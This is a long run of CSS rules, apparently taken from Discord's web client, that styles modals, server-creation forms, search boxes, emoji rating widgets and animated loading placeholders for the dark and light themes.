.header-1Ijz4R { padding: 24px 16px 0px; }

.channelPrompt-1kjOz3 { padding: 16px; margin-top: 8px; margin-bottom: 16px; -webkit-box-flex: 0; flex-grow: 0; }

.closeButton-miMLYp { position: absolute; top: 12px; right: 12px; }

.guildName-1kMlYi { margin-top: 8px; font-size: 14px; line-height: 18px; font-weight: 600; }

.title-z3hreh { font-size: 24px; line-height: 30px; font-weight: 700; }

.subtitle-2942Dz { margin-top: 8px; font-size: 16px; line-height: 20px; }

.skipButton-U0dQ2q { margin-right: 16px; }

.container-UC8Ug1 { border-radius: 8px; border: 1px solid var(--background-modifier-accent); background-color: var(--background-primary); margin-bottom: 8px; display: flex; -webkit-box-align: center; align-items: center; cursor: pointer; width: 100%; padding: 0px; }

.container-UC8Ug1:hover { background-color: var(--background-modifier-hover); }

.keyboard-mode .container-UC8Ug1:focus { background-color: var(--background-modifier-selected); }

.container-UC8Ug1:active { background-color: var(--background-modifier-active); }

.icon-QM5383 { margin: 8px 8px 8px 16px; }

.text-1FOLJS { font-weight: 700; overflow: hidden; text-overflow: ellipsis; }

.arrow-hynWUl { margin-left: auto; margin-right: 16px; }

.header-1BLHoL { padding: 24px 16px 0px; }

.closeButton-_onk93 { position: absolute; top: 12px; right: 12px; }

.title-LqAd9K { font-weight: 700; }

.subtitle-1Q3BuX, .title-LqAd9K { text-align: center; }

.subtitle-1Q3BuX { margin-top: 8px; }

.optionsList-3UMAjx { margin-top: 24px; padding: 0px 16px 8px; }

.backButton-iA7KIs { height: 38px; margin-right: auto; }

.skip-2o6MGG { text-align: center; margin-top: 18px; margin-bottom: 16px; }

.iconContainer-2B0ixr { height: 80px; position: relative; width: 80px; }

.filledIcon-2eb7eA { background-color: var(--background-secondary-alt); border-radius: 80px; height: 80px; width: 80px; }

.header-287ONi { padding: 24px 24px 0px; }

.closeButton-26zew5 { position: absolute; top: 12px; right: 12px; }

.title-Z_XiOC { font-weight: 700; }

.subtitle-1KdHaN, .title-Z_XiOC { text-align: center; }

.subtitle-1KdHaN { margin-top: 8px; }

.createGuild-23lWNm { margin: 16px 0px; -webkit-box-flex: 0; flex-grow: 0; }

.uploadIcon-2IFzZU { padding-top: 4px; display: flex; -webkit-box-pack: center; justify-content: center; color: var(--interactive-normal); }

.nameInput-2LpnKg { margin-top: 24px; }

.descriptionInput-3XMwZd { margin-top: 16px; }

.guidelines-1NSoht { margin-top: 8px; padding-bottom: 4px; }

.creationIntentCheckbox-1rWz6L { margin-top: 18px; }

.creationIntentText-3OlELP { color: var(--interactive-normal); }

.formItemSpaced-3enUE5 { margin-top: 16px; }

.header-3msK0M { padding: 24px 16px 0px; -webkit-box-flex: 0; flex-grow: 0; }

.closeButton-9dkb_x { position: absolute; top: 12px; right: 12px; }

.templatesList-2E6rTe { margin-top: 24px; padding: 0px 8px 8px 16px; height: 330px; }

.title-3w8xhj { font-weight: 700; }

.subtitle-Nw1LLR, .title-3w8xhj { text-align: center; }

.subtitle-Nw1LLR { margin-top: 8px; }

.optionHeader-1-5lcp { margin-top: 16px; margin-bottom: 8px; font-weight: 700; text-transform: uppercase; }

.footer-1NnaNd { -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; -webkit-box-align: center; align-items: center; }

.footerTitle-2CYZch { margin-bottom: 8px; }

.footerButton-ayFTfX { align-self: stretch; }

.header-1Xr5FO { position: relative; text-align: center; }

.title-XLSR78 { font-weight: 700; margin-bottom: 8px; margin-top: 24px; }

.closeButton-1RFOLl { position: absolute; top: 12px; right: 12px; }

.inputForm-N3LGqy { margin-bottom: 16px; }

.formTitle-aeXUoN { color: var(--interactive-normal); margin-bottom: 8px; }

.formTitle-aeXUoN.error-kfqhb1 { color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); }

.input--jS-j2 { background-color: var(--background-tertiary); border-radius: 4px; }

.inputInner-2akrSS { border: none; }

.examplesForm-1PzAn- { margin-bottom: 16px; }

.sampleLink-2NLvZg { font-size: 14px; line-height: 18px; color: var(--header-primary); }

.footer-2ZvXOl { -webkit-box-pack: justify; justify-content: space-between; }

.rowTextContainer-1FXbw4 { margin: 38px auto 16px; text-align: center; }

.rowContainer-3AFY0S { border-radius: 8px; background-color: var(--background-secondary); margin-bottom: 16px; display: flex; -webkit-box-align: center; align-items: center; cursor: pointer; padding: 12px; text-align: left; }

.rowContainer-3AFY0S:hover { background-color: var(--background-modifier-hover); }

.keyboard-mode .rowContainer-3AFY0S:focus { background-color: var(--background-modifier-selected); }

.rowContainer-3AFY0S:active { background-color: var(--background-modifier-active); }

.rowIcon-1SU_MO { margin-right: 12px; }

.rowText-X45Our { overflow: hidden; text-overflow: ellipsis; }

.rowArrow-368CBY { margin-left: auto; margin-right: 16px; }

.container-1CE3eW { width: 440px; max-height: 580px; display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; }

.root-2IyrUe { border-radius: 8px; background: var(--background-secondary); overflow: hidden; }

.option-3Ztn6N { display: flex; -webkit-box-pack: justify; justify-content: space-between; -webkit-box-align: center; align-items: center; color: var(--interactive-active); padding: 16px; cursor: pointer; border-bottom: 1px solid var(--background-modifier-accent); }

.option-3Ztn6N:hover { background: var(--background-modifier-hover); border-bottom-color: transparent; }

.option-3Ztn6N:last-child { border-bottom: none; }

.text-NjYDzs { padding-right: 5px; }

.caret-3iKYZt { color: var(--interactive-normal); width: 24px; height: 24px; flex-shrink: 0; margin-left: 8px; }

.headerContainer-3-vFuY { -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; }

.modalCloseButton-DjWi-x { position: absolute; top: 12px; right: 12px; }

.helpdeskLink-1OuOa1 { margin-top: 8px; }

.header-B-DcDj { font-weight: 700; }

.header-B-DcDj, .ratingBody-2p2rH4 { -webkit-box-flex: 1; flex: 1 1 auto; text-align: center; }

.ratingBody-2p2rH4 { margin-top: 8px; color: var(--text-normal); }

.footer-2Bb21C { -webkit-box-pack: justify; justify-content: space-between; }

.emojis-3mSQwp { width: 240px; margin: 16px auto 8px; }

.problemInfo-1qfNLW { margin-bottom: 24px; }

.emoji-1N-wHh { background-position: 50% center; background-repeat: no-repeat; width: 64px; height: 64px; cursor: pointer; filter: grayscale(100%); transition: all 0.2s ease 0s; }

.emoji-1N-wHh.selected-2jwLHq, .emoji-1N-wHh:hover { filter: none; }

.emoji-1N-wHh:hover { transform: scale(1.06); }

.emojiSad-1iG7c0 { background-image: url("https://discord.com/assets/53a7243150bf05759b81a208b87d3dc5.svg"); }

.emojiNeutral-1AAukj { background-image: url("https://discord.com/assets/887423e438a9b6dcb31a73d597c11a84.svg"); }

.emojiHappy-1umapU { background-image: url("https://discord.com/assets/d3bb5f3e5859cc8735a9d87121efb72a.svg"); }

.hidden-36kfaz { visibility: hidden; }

.theme-dark .emoji-1N-wHh { opacity: 0.4; }

.theme-dark .emoji-1N-wHh.selected-2jwLHq, .theme-dark .emoji-1N-wHh:hover { opacity: 1; }

.theme-dark .header-B-DcDj { color: rgb(255, 255, 255); }

.theme-light .emoji-1N-wHh { opacity: 0.6; }

.theme-light .emoji-1N-wHh.selected-2jwLHq, .theme-light .emoji-1N-wHh:hover { opacity: 1; }

.theme-light .header-B-DcDj { color: rgb(35, 38, 42); }

.title-3mEw9k { margin: 0px; }

.fullArt-2izgMA { margin: 38px 0px 20px; background: url("https://discord.com/assets/335c097a216b2d5a3d1e2660f54139e6.svg") 50% center no-repeat; width: 100%; height: 93px; }

.header-1CDBgT { margin: 0px; }

.content-Ulq9NI { font-weight: 500; }

.modalCloseButton-ZynU77 { margin: -4px; }

.container-b28a_3 { padding: 24px; display: flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; }

.topImage-3XIXqf { width: 200px; height: 139px; background-repeat: no-repeat; background-position: 50% center; background-image: url("https://discord.com/assets/eeacc28d3c62a7cf1154a2bc11968ad8.svg"); margin-bottom: 16px; }

.centerText-11eOJ3 { text-align: center; white-space: pre-wrap; }

.header-3SR9BS { margin-bottom: 8px; }

.descriptionWidth-29jpzM { width: 265px; margin-bottom: 24px; }

.formContent-vPG9mK { width: 100%; }

.formDescription-1mfWR8 { margin: 8px 0px 24px; }

.submitButton-Ksp7gU { width: 100%; }

.submitText-1O_DKF { color: rgb(255, 255, 255); }

.cancelButton-9kstFV { margin-top: 12px; width: 100%; color: var(--header-secondary); }

.searchBox-3Y2Vi7 { position: relative; overflow: hidden; display: flex; -webkit-box-align: center; align-items: center; font-size: 18px; padding-right: 16px; border-radius: 3px; border: 1px solid transparent; }

.searchBox-3Y2Vi7:focus, .searchBox-3Y2Vi7:focus-within { border-color: var(--brand-experiment); }

.searchBox-3Y2Vi7 .searchBoxInput-uJtBcv { border: none; font-size: 18px; font-weight: 500; padding: 12px; background: transparent; height: auto; }

.searchBox-3Y2Vi7 .searchBoxInput-uJtBcv::-webkit-input-placeholder { font-weight: 500; }

.searchBox-3Y2Vi7 .searchBoxInput-uJtBcv::placeholder { font-weight: 500; }

.searchBoxInputWrapper-nKncfu { -webkit-box-flex: 1; flex: 1 1 0%; }

.cta-BiH9zX { margin-right: 8px; }

.clear-U3WkKp { line-height: 0; }

.clearIcon-2N9YIn { cursor: pointer; transform-origin: center center; transform: rotate(90deg); color: var(--interactive-normal); }

.clearIcon-2N9YIn:hover { color: var(--interactive-hover); }

.clear-U3WkKp:focus, .clearIcon-2N9YIn:focus { color: var(--interactive-active); }

.searchIcon-1a1-yA { flex-shrink: 0; transition: color 0.2s ease 0s; }

.clearIcon-2N9YIn, .searchIcon-1a1-yA { width: 1.4em; height: 1.4em; }

.theme-light .searchBox-3Y2Vi7 { background-color: rgb(255, 255, 255); box-shadow: rgba(0, 0, 0, 0.2) 0px 2px 5px 0px; }

.theme-light .searchBox-3Y2Vi7 .searchBoxInput-uJtBcv::-webkit-input-placeholder { color: rgb(114, 118, 125); }

.theme-light .searchBox-3Y2Vi7 .searchBoxInput-uJtBcv::placeholder { color: rgb(114, 118, 125); }

.theme-light .searchIcon-1a1-yA { color: rgba(79, 84, 92, 0.6); }

.theme-light .filterLabel-2yQNPl { color: rgb(0, 0, 0); }

.theme-dark .searchBox-3Y2Vi7 { background-color: rgb(79, 84, 92); box-shadow: rgba(0, 0, 0, 0.2) 0px 2px 5px 0px; }

.theme-dark .searchBox-3Y2Vi7 .searchBoxInput-uJtBcv::-webkit-input-placeholder { color: rgba(255, 255, 255, 0.3); }

.theme-dark .searchBox-3Y2Vi7 .searchBoxInput-uJtBcv::placeholder { color: rgba(255, 255, 255, 0.3); }

.theme-dark .searchIcon-1a1-yA { color: rgba(255, 255, 255, 0.3); }

.theme-dark .filterLabel-2yQNPl { color: rgb(185, 187, 190); }

.container-3F3nvj { padding: 24px 0px; display: block; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; width: 100%; }

.centerText-2fuoDk { text-align: center; white-space: pre-wrap; }

.header-3_rM-v { margin-bottom: 8px; }

.description-CeECzj { margin-bottom: 20px; }

.guildList-1K4FRT { width: 100%; display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; -webkit-box-pack: start; justify-content: flex-start; }

.forcedHeight-2vPv7W { height: 516px; }

.searchContainer-2P09zp { padding: 0px 24px; }

.container-3F3nvj .guildList-1K4FRT .searchBox-1Sjpf5 { background-color: var(--background-tertiary); margin-bottom: 8px; padding-right: 8px; box-shadow: none; }

.container-3F3nvj .guildList-1K4FRT .searchBox-1Sjpf5:focus, .container-3F3nvj .guildList-1K4FRT .searchBox-1Sjpf5:focus-within { border-color: var(--text-link); }

.guildList-1K4FRT .searchBox-1Sjpf5 .searchBoxInput-1XFDwH { font-size: 16px; padding: 12px 8px; }

.guildList-1K4FRT .searchBox-1Sjpf5 .searchBoxIcon-2_PiCo { height: 16px; width: 16px; }

.guildRow-2nHhNM { position: relative; margin-bottom: 8px; display: flex; -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; -webkit-box-align: center; align-items: center; -webkit-box-pack: justify; justify-content: space-between; border-radius: 8px; background-color: var(--background-secondary-alt); padding: 12px 16px 12px 12px; }

.clickableGuildInfoRow-3vMQ_Z { cursor: pointer; }

.clickableGuildInfoRow-3vMQ_Z:hover { background-color: var(--background-modifier-hover); }

.guildIcon-3cqEe7 { background-color: var(--background-primary); }

.guildName-3l2qE6 { margin-left: 16px; -webkit-box-flex: 1; flex: 1 1 0%; font-weight: 600; }

.noResultsContainer-zZc5Es { min-height: 446px; height: 100%; padding: 16px 24px 0px; flex-direction: column; }

.noResultsContainer-zZc5Es, .noResultsContent-1lNHoa { display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; -webkit-box-pack: center; justify-content: center; }

.noResultsContent-1lNHoa { background-color: var(--background-secondary); -webkit-box-flex: 1; flex: 1 1 0%; flex-direction: column; -webkit-box-align: center; align-items: center; border-radius: 8px; }

.noResultsImage-22dkXT { width: 120px; height: 96px; background-repeat: no-repeat; background-position: 50% center; background-image: url("https://discord.com/assets/9f65387c814dd4cb5aff4e4e1e7e0446.svg"); margin-bottom: 16px; }

.scroller-2bOkD0 { padding: 0px 24px; }

.container-3_6aGw { padding: 24px; box-sizing: border-box; display: flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; width: 100%; }

.centerText-3-N7Qq { text-align: center; white-space: pre-wrap; }

.header-1kv7FE { margin-bottom: 8px; }

.descriptionWidth-3VoaVn { width: 351px; margin-bottom: 24px; }

.formItem-1aMA3O { width: 100%; }

.footer-3iCnYm { position: absolute; bottom: 0px; width: 464px; box-sizing: border-box; padding: 12px 16px; border-top: 1px solid var(--background-modifier-accent); -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; -webkit-box-pack: justify; justify-content: space-between; display: flex; }

.backButton-3DuN2b { padding: 0px; min-height: 40px; min-width: 40px; }

.submitText-1CNnmJ { color: rgb(255, 255, 255); }

.container-3dvnVu { padding: 24px; display: flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; }

.topImage-2n2dIW { width: 119px; height: 83px; background-size: 100%; background-repeat: no-repeat; background-position: 50% center; background-image: url("https://discord.com/assets/a64239d24af91a983ec1fd43fdadb323.svg"); margin-bottom: 16px; }

.centerText-2-ioDa { text-align: center; white-space: pre-wrap; }

.formItem-rWfdS5 { width: 100%; margin-bottom: 16px; }

.header-K9bdlB { margin-bottom: 8px; }

.descriptionWidth-1GKDkJ { margin-bottom: 24px; }

.submitText-1IYhZh { color: rgb(255, 255, 255); }

.container-3V5LK- { -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; }

.container-3V5LK-, .iconContainer-2B3yaa { display: flex; }

.iconContainer-2B3yaa { height: 48px; width: 48px; border-radius: 48px; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; background-color: hsl(139,calc(var(--saturation-factor, 1)*47.3%),43.9%); margin-bottom: 16px; }

.icon-dSKtfO { width: 24px; height: 24px; background-image: url("https://discord.com/assets/8b7165c3ca8f930bf6a1cf4ad12de85a.svg"); }

.header-C3p2t_ { margin-bottom: 16px; }

.description-2OKNsO p:first-child { margin-top: 0px; }

.modalRoot-3UDJBg { width: 720px; }

.sidebarContainer-7fi3LO { width: 256px; padding: 24px; background-color: var(--background-secondary); }

.contentContainer-rv69OF, .sidebarContainer-7fi3LO { box-sizing: border-box; }

.contentContainer-rv69OF { width: 464px; height: 640px; display: flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; -webkit-box-flex: 1; flex: 1 1 0%; }

.modalContent-VNy92y { padding-left: 0px; }

.container-1cnaJh { display: flex; -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; }

.closeButton-ryIVwg { position: absolute; box-sizing: content-box; top: 12px; right: 4px; }

.component-1IAYeC { margin: 4px 8px 4px 0px; }

.content-2wNArO { display: flex; -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; margin: auto; min-width: 32px; }

.loading-3n285V { position: absolute; left: 0px; right: 0px; top: 50%; transform: translateY(-50%); }

.textEmoji-2Vv04G { margin-right: 4px; }

.launchIcon-3n9VDY, .textEmoji-2Vv04G { flex-shrink: 0; }

.launchIcon-3n9VDY { margin-left: 8px; }

.hidden-1gw_r7 { visibility: hidden; }

.label-3aEGGA { overflow: hidden; text-overflow: ellipsis; flex-shrink: 1; }

.container-2JMhe1 { width: 100%; display: flex; -webkit-box-align: center; align-items: center; padding: 0.125rem 0px 0.25rem; }

.select-z0PgeK { width: 90%; max-width: 400px; margin-right: 16px; padding: 8px; transition: border 0.2s ease 0s; }

.select-z0PgeK:hover { border-color: var(--deprecated-text-input-border-hover); }

.selectOption-46tNpR { padding: 8px; }

.disabled-2yRBrh { opacity: 0.6; }

.emoji-2lCmvk { margin-right: 8px; }

.offset-2xmZwD { margin-left: 27px; }

.tag-1hplGn { max-width: 230px; flex-shrink: 0; display: flex; -webkit-box-align: center; align-items: center; box-sizing: border-box; border-radius: 4px; padding: 4px 8px; transition: none 0s ease 0s; color: var(--interactive-hover); background-color: var(--interactive-muted); font-weight: 400; }

.tag-1hplGn:hover { text-decoration: none; }

.labelContainer-3UfOIp { font-size: 14px; line-height: 18px; overflow: hidden; }

.label-3fPy-x { color: var(--header-primary); margin-bottom: 4px; }

.description-nveHXT { color: var(--interactive-normal); }

.description-nveHXT, .label-3fPy-x, .singleValueLabel-3Dsj9V, .tag-1hplGn { display: block; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; }

.option-19HP2B { font-size: 14px; }

.option-19HP2B, .value-FbrxsN { display: flex; -webkit-box-align: center; align-items: center; overflow: hidden; }

.value-FbrxsN { flex-wrap: wrap; gap: 4px; }

.singleValue-3OF6b1 { font-size: 16px; gap: 0px; }

.singleValueLabel-3Dsj9V { -webkit-box-flex: 1; flex: 1 1 0%; }

.indicator-3ZLjUU { flex-shrink: 0; margin-left: auto; margin-right: 14px; padding-left: 14px; font-size: 12px; }

.error-36-C3t { margin-top: 8px; display: flex; -webkit-box-align: center; align-items: center; }

.errorIcon-3sOp0o { color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); display: block; margin-right: 8px; }

.formItem-2AGhjh { width: 100%; margin-bottom: 1em; }

.container-2xsjOj { -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; }

.children-2goeSq, .container-2xsjOj { display: flex; }

.children-2goeSq { flex-wrap: wrap; }

.error-2FxDDG { margin: 4px 0px; }

.container-1v9gV9 { display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; width: 100%; overflow: hidden; }

.closeButton-2-fZfy { position: absolute; top: 16px; right: 16px; }

.applicationIcon-3v8Kt3 { margin-right: 0.5em; }

.submissionWarning-zmWpfD { margin-bottom: 16px; }

.tile-2OwFgW { display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; border-radius: 5px; transform: translateZ(0px); overflow: hidden; transition: background-color 0.2s ease 0s, box-shadow 0.2s ease 0s, -webkit-box-shadow 0.2s ease 0s; min-height: 370px; }

.tileHorizontal-3eee4N { -webkit-box-orient: horizontal; -webkit-box-direction: reverse; flex-direction: row-reverse; min-height: 0px; -webkit-box-align: stretch; align-items: stretch; width: 660px; }

.title-1rUb9I { font-size: 18px; font-weight: 600; -webkit-box-flex: 0; flex: 0 1 auto; line-height: 1.2; }

.tagline-2nvxi0 { line-height: 1.3; margin-top: 8px; font-size: 15px; -webkit-box-flex: 1; flex: 1 1 auto; overflow: hidden; }

.actions-3p06E9 { margin-top: 12px; justify-self: flex-end; -webkit-box-flex: 0; flex: 0 1 auto; }

.media-gfq_4j { position: relative; }

.mediaHorizontal-2Poqtq { -webkit-box-align: center; align-items: center; -webkit-box-flex: 0; flex: 0 0 305px; }

.description-1RsfgZ, .mediaHorizontal-2Poqtq { display: flex; }

.description-1RsfgZ { padding: 12px; -webkit-box-flex: 1; flex: 1 1 auto; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; position: relative; }

.theme-dark .description-1RsfgZ { color: rgb(255, 255, 255); }

.theme-dark .tagline-2nvxi0 { color: rgb(185, 187, 190); }

.theme-dark .tile-2OwFgW { background-color: rgb(32, 34, 37); box-shadow: rgba(32, 34, 37, 0.15) 0px 0px 0px; }

.theme-dark .tile-2OwFgW:hover { background-color: rgb(24, 25, 28); }

.theme-light .description-1RsfgZ { color: rgb(32, 34, 37); }

.theme-light .tagline-2nvxi0 { color: rgb(54, 57, 63); }

.theme-light .tile-2OwFgW { background-color: rgb(255, 255, 255); box-shadow: rgba(32, 34, 37, 0.15) 0px 0px 0px; }

.embedHorizontal-WknQ2- { height: 173px; }

.embedVertical-W5-T0m { width: 240px; height: 300px; }

@-webkit-keyframes loading-3l7Cr9 { 
  0% { transform: translate3d(-271px, 0px, 0px); }
  50% { transform: translateZ(0px); }
  100% { transform: translate3d(-271px, 0px, 0px); }
}

@keyframes loading-3l7Cr9 { 
  0% { transform: translate3d(-271px, 0px, 0px); }
  50% { transform: translateZ(0px); }
  100% { transform: translate3d(-271px, 0px, 0px); }
}

.loadingDescription-2Me56S { display: flex; -webkit-box-align: center; align-items: center; -webkit-box-flex: 1; flex: 1 1 0%; }

.loadingBackgroundWrapper-3FpTMQ { position: relative; -webkit-mask: url("data:image/svg+xml;utf8,<svg xmlns='http://www.w3.org/2000/svg' width='271' height='165'><path fill='#000000' fill-rule='evenodd' d='M5 0h120c2.761424 0 5 2.23857625 5 5v10c0 2.7614237-2.238576 5-5 5H5c-2.76142375 0-5-2.2385763-5-5V5c0-2.76142375 2.23857625-5 5-5zm0 30h244c2.761424 0 5 2.2385763 5 5v10c0 2.7614237-2.238576 5-5 5H5c-2.76142375 0-5-2.2385763-5-5V35c0-2.7614237 2.23857625-5 5-5zm0 30h180c2.761424 0 5 2.2385763 5 5v10c0 2.7614237-2.238576 5-5 5H5c-2.76142375 0-5-2.2385763-5-5V65c0-2.7614237 2.23857625-5 5-5zm-2 60h60c1.6568542 0 3 1.343146 3 3v26c0 1.656854-1.3431458 3-3 3H3c-1.65685425 0-3-1.343146-3-3v-26c0-1.656854 1.34314575-3 3-3z'/></svg>") 0% 0% / 100%; mask: url("data:image/svg+xml;utf8,<svg xmlns='http://www.w3.org/2000/svg' width='271' height='165'><path fill='#000000' fill-rule='evenodd' d='M5 0h120c2.761424 0 5 2.23857625 5 5v10c0 2.7614237-2.238576 5-5 5H5c-2.76142375 0-5-2.2385763-5-5V5c0-2.76142375 2.23857625-5 5-5zm0 30h244c2.761424 0 5 2.2385763 5 5v10c0 2.7614237-2.238576 5-5 5H5c-2.76142375 0-5-2.2385763-5-5V35c0-2.7614237 2.23857625-5 5-5zm0 30h180c2.761424 0 5 2.2385763 5 5v10c0 2.7614237-2.238576 5-5 5H5c-2.76142375 0-5-2.2385763-5-5V65c0-2.7614237 2.23857625-5 5-5zm-2 60h60c1.6568542 0 3 1.343146 3 3v26c0 1.656854-1.3431458 3-3 3H3c-1.65685425 0-3-1.343146-3-3v-26c0-1.656854 1.34314575-3 3-3z'/></svg>"); width: 271px; height: 165px; margin-top: 16px; }

.loadingBackgroundWrapperHorizontal-1ajnAO { -webkit-mask: url("data:image/svg+xml;utf8,<svg xmlns='http://www.w3.org/2000/svg' width='271' height='141'><g fill='#000000' fill-rule='evenodd'><rect width='130' height='20' rx='5'/><rect width='254' height='20' y='30' rx='5'/><rect width='190' height='20' y='60' rx='5'/><rect width='66' height='32' y='102' rx='3'/></g></svg>"); mask: url("data:image/svg+xml;utf8,<svg xmlns='http://www.w3.org/2000/svg' width='271' height='141'><g fill='#000000' fill-rule='evenodd'><rect width='130' height='20' rx='5'/><rect width='254' height='20' y='30' rx='5'/><rect width='190' height='20' y='60' rx='5'/><rect width='66' height='32' y='102' rx='3'/></g></svg>"); width: 271px; height: 141px; margin-top: 8px; }

.loadingImage-2ouGtu { width: 100%; padding-top: 56%; }

.loadingImageHorizontal-QAjd6U { height: 100%; padding: 0px; }

.loadingBackground-3sVOML { position: absolute; top: 0px; bottom: 0px; left: 0px; width: 542px; animation: 4s ease-in-out 0s infinite normal none running loading-3l7Cr9; }

.theme-dark .loadingBackground-3sVOML { background-image: linear-gradient(90deg, rgb(54, 57, 63), rgb(79, 84, 92), rgb(54, 57, 63)); }

.theme-dark .loadingImage-2ouGtu { background-color: rgb(47, 49, 54); }

.theme-light .embedHorizontal-WknQ2-, .theme-light .embedVertical-W5-T0m { background-color: rgb(246, 246, 247); }

.theme-light .loadingBackground-3sVOML { background-image: linear-gradient(90deg, rgb(246, 246, 247), rgb(220, 221, 222), rgb(246, 246, 247)); }

.theme-light .loadingImage-2ouGtu { background-color: rgb(220, 221, 222); }

.header-1Kydsy { font-size: 20px; margin-top: 20px; }

.backSplash-13_XJL { position: absolute; inset: 0px; opacity: 0.15; background-size: cover; background-position: center bottom; filter: grayscale(100%); -webkit-mask: radial-gradient(circle at 50% 0px, rgb(0, 0, 0), transparent); background-image: url("https://discord.com/assets/83e99dbc7c072587a2f096e0bf526dd7.png"); }

.content-1tt1e0 { display: flex; -webkit-box-align: center; align-items: center; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; padding: 60px 20px; }

.body-32BEO- { margin-top: 8px; margin-bottom: 20px; text-align: center; }

.closeButton-2b6skY { position: absolute; top: 20px; right: 20px; }

.theme-dark .header-1Kydsy { color: rgb(255, 255, 255); }

.theme-dark .body-32BEO- { color: rgb(185, 187, 190); }

.theme-light .header-1Kydsy { color: rgb(32, 34, 37); }

.theme-light .body-32BEO- { color: rgb(54, 57, 63); }

.seasonalGiftIcon-1lnoxz { position: absolute; width: 260px; top: -170px; z-index: 2; left: 92px; }

.cannon-dhwo7l { position: absolute; width: 100vw; height: 130vh; top: -30vh; left: 0px; z-index: 1; }

.modal-3t4rqR { z-index: 0; }

.contentWarningPopout-n5JsIs { width: 440px; min-height: 198px; display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; border-radius: 5px; }

.header-2NYWtG { text-transform: uppercase; font-weight: 700; letter-spacing: 0.6px; margin-bottom: 4px; }

.body-3PNusm { min-height: 128px; padding: 20px; display: flex; }

.body-3PNusm strong { font-weight: 600; }

.animation-1Bst4H { width: 210px; }

.buttonWrapper-wJ7IoA { margin-top: 20px; display: flex; }

.buttonContainer-3Jazu9:last-child { margin-left: 8px; }

.button-2RbP7U { max-width: 120px; }

.buttonHint-OwCvKC { margin-top: 4px; }

.buttonHint-OwCvKC strong { text-transform: uppercase; }

.content-dmqHNi { margin-left: 20px; font-size: 14px; line-height: 20px; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; }

.content-dmqHNi, .footer-3N9rgh { display: flex; }

.footer-3N9rgh { font-size: 12px; padding: 8px; -webkit-box-align: center; align-items: center; min-height: 14px; }

.footer-3N9rgh strong { font-weight: 700; }

.icon-2RSfUw { margin-right: 4px; }

.theme-dark .contentWarningPopout-n5JsIs { background-color: rgb(54, 57, 63); box-shadow: rgba(28, 36, 43, 0.6) 0px 2px 10px 0px; }

.theme-dark .header-2NYWtG { color: rgb(255, 255, 255); }

.theme-dark .body-3PNusm { color: rgb(185, 187, 190); }

.theme-dark .buttonHint-OwCvKC { color: rgb(114, 118, 125); }

.theme-dark .buttonHint-OwCvKC strong { color: rgb(185, 187, 190); }

.theme-dark .footer-3N9rgh { background-color: rgba(32, 34, 37, 0.4); color: rgb(114, 118, 125); }

.theme-dark .footer-3N9rgh strong { color: rgb(185, 187, 190); }

.theme-light .contentWarningPopout-n5JsIs { background-color: rgb(255, 255, 255); box-shadow: rgba(28, 36, 43, 0.6) 0px 2px 10px 0px; }

.theme-light .header-2NYWtG { color: rgb(79, 84, 92); }

.theme-light .body-3PNusm, .theme-light .buttonHint-OwCvKC, .theme-light .buttonHint-OwCvKC strong { color: rgb(114, 118, 125); }

.theme-light .footer-3N9rgh { background-color: rgb(246, 246, 247); border-radius: 0px 0px 5px 5px; color: rgb(114, 118, 125); }

.theme-light .footer-3N9rgh strong { color: rgb(114, 118, 125); }

.wrapper-1-Fsb8 { -webkit-box-align: center; align-items: center; background-color: var(--background-secondary); box-sizing: border-box; display: flex; height: 32px; padding: 0px 4px; z-index: 1; }

.wrapper-1-Fsb8::after { content: ""; background-color: inherit; width: 100%; height: 3px; position: absolute; left: 0px; top: -2px; }

.header-19cWci { color: var(--header-secondary); display: flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: start; justify-content: flex-start; font-size: 12px; font-weight: 600; transition: color 0.125s ease 0s; }

.interactive-BzuinF:hover { cursor: pointer; }

.interactive-BzuinF:hover:hover { color: var(--interactive-active); }

.headerIcon-1qrXTN { display: contents; height: 100%; margin-right: 8px; }

.headerLabel-3dG4M- { overflow: hidden; text-overflow: ellipsis; text-transform: uppercase; white-space: nowrap; margin-right: 8px; }

.headerIcon-1qrXTN + .headerLabel-3dG4M- { margin-left: 8px; }

.headerCollapseIcon-ymwSPR { transition: transform 0.1s ease 0s, -webkit-transform 0.1s ease 0s; }

.headerCollapseIconCollapsed-3fap1D { transform: rotate(-90deg); }

.autocomplete-1vrmpx { border-radius: 5px 5px 0px 0px; white-space: nowrap; text-overflow: ellipsis; overflow: hidden; z-index: 3; }

.autocompleteInner-zh20B_ { padding-bottom: 8px; }

.autocompleteRow-2OthDa { padding: 0px 8px; font-size: 14px; line-height: 16px; font-weight: 500; }

